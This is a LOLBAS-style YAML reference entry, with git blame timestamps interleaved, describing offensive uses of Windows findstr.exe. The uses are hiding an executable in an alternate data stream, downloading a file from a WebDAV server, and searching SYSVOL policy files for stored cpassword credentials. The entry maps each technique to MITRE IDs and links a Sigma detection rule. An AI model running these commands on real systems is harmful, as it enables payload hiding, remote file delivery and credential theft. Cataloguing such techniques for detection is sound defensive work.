2018-06-09 00:15:06 +02:00
---
Name : Findstr.exe
2022-09-11 05:26:10 +02:00
Description : Write to ADS, discover, or download files with Findstr.exe
2018-09-24 21:59:43 +02:00
Author : 'Oddvar Moe'
2021-01-10 16:04:52 +01:00
Created : 2018-05-25
2018-06-09 00:15:06 +02:00
Commands :
2021-11-15 14:19:03 +01:00
- Command : findstr /V /L W3AllLov3LolBas c:\ADS\file.exe > c:\ADS\file.txt:file.exe
Description : Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
2018-09-24 21:59:43 +02:00
Usecase : Add a file to an alternate data stream to hide from defensive counter measures
2018-09-26 09:34:01 +02:00
Category : ADS
2018-09-24 21:59:43 +02:00
Privileges : User
2021-11-05 19:58:26 +01:00
MitreID : T1564.004
2018-09-24 21:59:43 +02:00
OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
2021-11-15 14:19:03 +01:00
- Command : findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
Description : Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
2018-09-24 21:59:43 +02:00
Usecase : Add a file to an alternate data stream from a webdav server to hide from defensive counter measures
2018-09-26 09:34:01 +02:00
Category : ADS
2018-09-24 21:59:43 +02:00
Privileges : User
2021-11-05 19:58:26 +01:00
MitreID : T1564.004
2018-09-24 21:59:43 +02:00
OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
- Command : findstr /S /I cpassword \\sysvol\policies\*.xml
Description : Search for stored password in Group Policy files stored on SYSVOL.
Usecase : Find credentials stored in cpassword attrbute
Category : Credentials
Privileges : User
2021-11-05 19:58:26 +01:00
MitreID : T1552.001
2018-09-24 21:59:43 +02:00
OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
2021-11-15 14:19:03 +01:00
- Command : findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.exe
Description : Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.
2018-09-24 21:59:43 +02:00
Usecase : Download/Copy file from webdav server
Category : Download
Privileges : User
2022-05-15 21:38:24 +02:00
MitreID : T1105
2018-09-24 21:59:43 +02:00
OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
2018-12-10 14:28:12 +01:00
Full_Path :
2018-09-24 21:59:43 +02:00
- Path : C:\Windows\System32\findstr.exe
- Path : C:\Windows\SysWOW64\findstr.exe
2021-01-10 16:04:52 +01:00
Code_Sample :
2022-09-11 07:07:18 +02:00
- Code :
2018-09-24 21:59:43 +02:00
Detection :
2022-09-11 07:07:18 +02:00
- Sigma : https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_findstr.yml
2018-06-09 00:15:06 +02:00
Resources :
2018-09-24 21:59:43 +02:00
- Link : https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
- Link : https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Acknowledgement :
- Person : Oddvar Moe
Handle : '@oddvarmoe'